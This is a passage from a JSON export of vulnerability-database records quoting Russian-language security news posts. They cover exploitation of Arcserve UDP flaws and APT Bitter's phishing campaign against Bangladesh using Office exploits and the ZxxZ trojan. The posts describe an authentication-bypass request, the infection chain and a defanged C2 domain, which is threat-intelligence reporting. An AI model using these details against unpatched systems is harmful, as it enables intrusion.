\u0433\u0434\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 UDP-\u043a\u043e\u043d\u0441\u043e\u043b\u044c.\n\n- CVE-2024-0801 (\u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u0437\u043e\u0432\u0443 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u043e\u0442\u043a\u0430\u0437\u0430 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 (DoS).\n\nArcserve \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043c\u0430\u0440\u0442\u0435 2024 \u0433\u043e\u0434\u0430 \u0438 \u0443\u0436\u0435 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0434\u0435\u043d\u044c Tenable \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 PoC \u0434\u043b\u044f CVE-2024-0799, CVE-2024-0800 \u0438 CVE-2024-0801.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Arcserve UDP.\n\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Arcserve UDP \u0432\u0435\u0440\u0441\u0438\u0439 8.1\u20139.2.", "creation_timestamp": "2024-05-14T18:10:04.000000Z"}, {"uuid": "e004978a-e95e-4587-b0d1-a54274ccb64b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0800", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5733", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 N-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Arcserve Unified Data Protection (UDP), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0442\u044f\u043c \u0436\u0435\u0440\u0442\u0432.\n\n\u0422\u0440\u0435\u0432\u043e\u0433\u0443 \u0437\u0430\u0431\u0438\u043b\u0438 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c, \u0430 \u0442\u043e\u0447\u043d\u0435\u0435 \u0432 \u041d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0440\u0435\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445:\n\n- CVE-2024-0799 (9.8 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f): \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 HTTP-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 POST \u0431\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u0443\u044e \u0442\u043e\u0447\u043a\u0443 /management/wizardLogin.\n\n- CVE-2024-0800 (\u0432\u044b\u0441\u043e\u0442\u0430 8,8): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0433\u0434\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 UDP-\u043a\u043e\u043d\u0441\u043e\u043b\u044c.\n\n- CVE-2024-0801 (\u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u0437\u043e\u0432\u0443 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u043e\u0442\u043a\u0430\u0437\u0430 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 (DoS).\n\nArcserve \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043c\u0430\u0440\u0442\u0435 2024 \u0433\u043e\u0434\u0430 \u0438 \u0443\u0436\u0435 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0434\u0435\u043d\u044c Tenable \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 PoC \u0434\u043b\u044f CVE-2024-0799, CVE-2024-0800 \u0438 CVE-2024-0801.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Arcserve UDP.\n\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Arcserve UDP \u0432\u0435\u0440\u0441\u0438\u0439 8.1\u20139.2.", "creation_timestamp": "2024-05-14T18:10:04.000000Z"}, {"uuid": "084a3ed0-7570-499b-a98e-04423ea2b403", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/2937", "content": "\u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b APT Bitter (\u0430\u0437\u0438\u0430\u0442\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0430\u044f \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043f\u043e \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0443 \u0438 \u041a\u0438\u0442\u0430\u044e, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0441\u0442\u043e\u0438\u0442 \u0418\u043d\u0434\u0438\u044f).\n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0433\u0440\u0443\u043f\u043f\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438 Cisco Talos \u0432 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0411\u0430\u043d\u0433\u043b\u0430\u0434\u0435\u0448, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u043e\u0432\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 2021 \u0433\u043e\u0434\u0430 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433 Bitter, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u044b\u043c \u0441 2013 \u0433\u043e\u0434\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u0443\u044e\u0442 \u044d\u0442\u0443 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u0441 Bitter \u043f\u043e \u0431\u043e\u043b\u044c\u0448\u0435\u0439 \u0447\u0430\u0441\u0442\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 C2 \u0441 \u0440\u0430\u043d\u0435\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0433\u0440\u0443\u043f\u043f\u044b, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a \u0438 \u0441\u0445\u0435\u043c\u044b \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u0439.\n\n\u0410\u0442\u0430\u043a\u0438 \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0446\u0435\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0438 \u0434\u0432\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u043e\u0431\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438\u0441\u044c \u0441 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0420\u0430\u0437\u043d\u0438\u0446\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u0438\u043f\u0435 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u043d\u044b\u0445 \u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u043f\u0438\u0441\u044c\u043c\u0443: \u043e\u0434\u043d\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0441\u043e\u0431\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 .RTF, \u0430 \u0443 \u0434\u0440\u0443\u0433\u0438\u0435 - \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 .XLSX.\n\n\u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c \u044d\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u043e\u0434 \u043f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \u0412\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Zimbra, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0441 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438/\u0434\u043e\u043c\u0435\u043d\u0430 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0422\u0435\u043c\u0430\u0442\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043a\u0430\u0441\u0430\u043b\u0430\u0441\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0432\u043d\u043e\u0432\u044c \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c \u0432 \u0411\u0430\u043d\u0433\u043b\u0430\u0434\u0435\u0448 \u0440\u0435\u0433\u043b\u0430\u043c\u0435\u043d\u0442\u043e\u043c  \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u043b\u0438 NEIR \u0434\u043b\u044f \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u043e\u0433\u043e \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u0430.\n\n\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b RTF \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2017-11882 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 Microsoft Office. \u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 \u0432 Microsoft Word, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Equation Editor \u0438 \u0432\u044b\u043f\u043e\u043b\u0430\u0441\u044c \u0444\u043e\u0440\u043c\u0443\u043b\u0430 \u0443\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0430\u044f \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043d\u043e-\u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (ROP).\n\n\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e ROP \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b \u0448\u0435\u043b\u043b-\u043a\u043e\u0434, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0432 maldocs \u0432 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0445\u043e\u0441\u0442\u0443 olmajhnservice[.]com \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u044b Excel \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043b\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2018-0798 \u0438 CVE-2018-0802, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u043e \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0432 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Microsoft Office. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u043e\u0441\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u0434\u0432\u0443\u0445 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0437\u0430\u0434\u0430\u0447, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441 \u043f\u044f\u0442\u0438\u043c\u0438\u043d\u0443\u0442\u043d\u044b\u043c \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u043e\u043c \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0445\u043e\u0441\u0442-\u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0442\u0440\u043e\u044f\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 Cisco Talos \u043d\u0430\u0437\u0432\u0430\u043b\u0438 ZxxZ.\n\n\u042d\u0442\u043e 32-\u0440\u0430\u0437\u0440\u044f\u0434\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b Windows, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u043e\u0434\u0443\u043b\u0438 \u0441 \u043e\u0431\u0449\u0438\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u043c\u0438 \u043a\u0430\u043a \u00abUpdate.exe\u00bb, \u00abntfsc.exe\u00bb \u0438\u043b\u0438 \u00abnx.exe\u00bb. \u041e\u043d\u0438 \u043b\u0438\u0431\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f, \u043b\u0438\u0431\u043e \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 